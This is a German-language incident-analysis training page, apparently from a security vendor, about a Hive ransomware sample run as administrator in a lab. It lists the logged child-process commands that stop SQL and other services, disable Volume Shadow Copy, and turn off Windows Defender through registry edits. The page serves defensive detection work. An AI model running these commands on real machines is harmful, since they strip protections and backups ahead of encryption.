Trainingsszenario - Vanilla Ransomware

Gruppenname

Trainingsdaten - Vanilla Ransomware (Hive)

Szenario

In diesem Trainingsszenario führen wir eine „vanilla“ Ransomware-Payload aus, die als Administrator läuft, ohne jegliche Exploits. Dies simuliert das grundlegende Beispiel eines Benutzers, der Malware über einen Phishing-Link, einen bösartigen USB-Stick usw. herunterlädt.

Auch wenn es sich hierbei um eine sehr einfache Ausführungsmethode handelt, bleibt sie – falls die Payload ein Zero-Day ist – dennoch von signaturbasierten Sicherheitsprodukten unbemerkt und kann irreparablen Schaden anrichten, bevor cloudbasierte Verhaltensanalyseprodukte eine Analyse zurückliefern können.

Erkennung

Number of Incidents	Machine Name	Program Path	Program Arguments
3	\\CC-NOAH-TEST	C:\Users\Administrator\Desktop\321d0c4f1bbb44c53cd02186107a18b7a...	321d0c4f1bbb44c53cd02186107a18b7a44c840a9a5f0a7

Created	Response Name	Untrusted Remote Threads	Modified Memory	No Trusted Cert
October 18, 2022 at 11:27:20 AM EDT	Spectacled-Bear Pearly-E\	False	False	True
October 18, 2022 at 11:27:22 AM EDT	Petunia Wisteria Rail 829	False	False	True
October 18, 2022 at 11:27:14 AM EDT	Topi Safety-orange Alyss\	False	False	True

Automated Response

Die Identifizierung dieses Vorfalls ist die einfachste unter allen Beispielen. Sobald der verdächtige Dateiname einer Datei ohne Signatur bemerkt wurde, ist dies ein unmittelbares Warnsignal.

Um die Ausführungsmethode zu bestätigen, können wir die Prozesserstellungen um den Zeitpunkt des Vorfalls betrachten. Was wir sehen, bestätigt, dass es keine komplexe Exploit-Methode gab, nicht einmal ein Skript! Wie auch bei anderen Beispielen sind jedoch die untergeordneten

Prozesserstellungen von Interesse. Obwohl die Ausführungsmethode der Malware selbst offensichtlich war, werden viele Hintergrundprozesse gestartet, die Schutzmaßnahmen und andere Systemeinstellungen deaktivieren.

Child Path	Child Arguments
C:\Windows\System32\net.exe	net.exe stop "LanmanWorkstation" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "LanmanWorkstation" /y
C:\Windows\System32\net.exe	net.exe stop "MsDtsServer130" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "MsDtsServer130" /y
C:\Windows\System32\net.exe	net.exe stop "MSSQL$MSSQLSERVER01" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "MSSQL$MSSQLSERVER01" /y
C:\Windows\System32\net.exe	net.exe stop "MSSQLSERVER" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "MSSQLSERVER" /y
C:\Windows\System32\net.exe	net.exe stop "sacsvr" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "sacsvr" /y
C:\Windows\System32\net.exe	net.exe stop "SamSs" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "SamSs" /y
C:\Windows\System32\net.exe	net.exe stop "SQLAgent$MSSQLSERVER01" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "SQLAgent$MSSQLSERVER01" /y
C:\Windows\System32\net.exe	net.exe stop "SQLBrowser" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "SQLBrowser" /y
C:\Windows\System32\net.exe	net.exe stop "SQLSERVERAGENT" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "SQLSERVERAGENT" /y
C:\Windows\System32\net.exe	net.exe stop "SQLTELEMETRY$MSSQLSERVER01" /y
C:\Windows\System32\net1.exe	C:\Windows\system32\net1 stop "SQLTELEMETRY$MSSQLSERVER01" /y

Child Path	Child Arguments
C:\Windows\System32\sc.exe	sc.exe config "SQLWriter" start= disabled
C:\Windows\System32\sc.exe	sc.exe config "SstpSvc" start= disabled
C:\Windows\System32\sc.exe	sc.exe config "vmicvss" start= disabled
C:\Windows\System32\sc.exe	sc.exe config "VSS" start= disabled
C:\Windows\System32\sc.exe	sc.exe config "WRSVC" start= disabled
C:\Windows\System32\sc.exe	sc.exe config "UnistoreSvc_1a55fcc" start= disabled
C:\Windows\System32\reg.exe	reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
C:\Windows\System32\reg.exe	reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
C:\Windows\System32\reg.exe	reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
C:\Windows\System32\reg.exe	reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
C:\Windows\System32\reg.exe	reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
C:\Windows\System32\reg.exe	reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /...
C:\Windows\System32\reg.exe	reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t RE...
C:\Windows\System32\reg.exe	reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /...
C:\Windows\System32\reg.exe	reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /...
C:\Windows\System32\reg.exe	reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable...

An diesem Punkt wurde der Angriff bereits von Cyber Crucible eingedämmt, aber die Analyse der zugehörigen Prozesse ist wichtig, um das Ausmaß der bösartigen Verhaltensweisen zu ermitteln. Die Ausführung der unsignierten .exe-Datei allein erscheint offensichtlich, wenn sie von Cyber Crucible aufgezeigt wird, aber oft würden Hintergrundprozesse, die von etwas so Privilegiertem und Geschütztem wie Defender gestartet werden, einfach ignoriert werden.

Relevante Dokumentation

- Mitre T1566 - Phishing kann verwendet werden, um einen Benutzer dazu zu bringen, eine Aktion auszuführen, die er sonst nicht durchgeführt hätte, wie z. B. das Ausführen eines Skripts oder das Weitergeben eines Passworts.
- Mitre T1091 - Malware kann sich selbst auf Wechselmedien replizieren, sodass der nächste Computer, an den diese angeschlossen wird, sie über Autorun oder Treiberschwachstellen ausführen kann.
- Mitre T1204 - Die Benutzerausführung, die oft durch Phishing erlangt wird, ist die einfachste Methode, mit der Malware zu laufen beginnen kann.

Revision #1
Created 2026-07-24 03:54:58 UTC by Dennis Underwood
Updated 2026-07-24 03:54:58 UTC by Dennis Underwood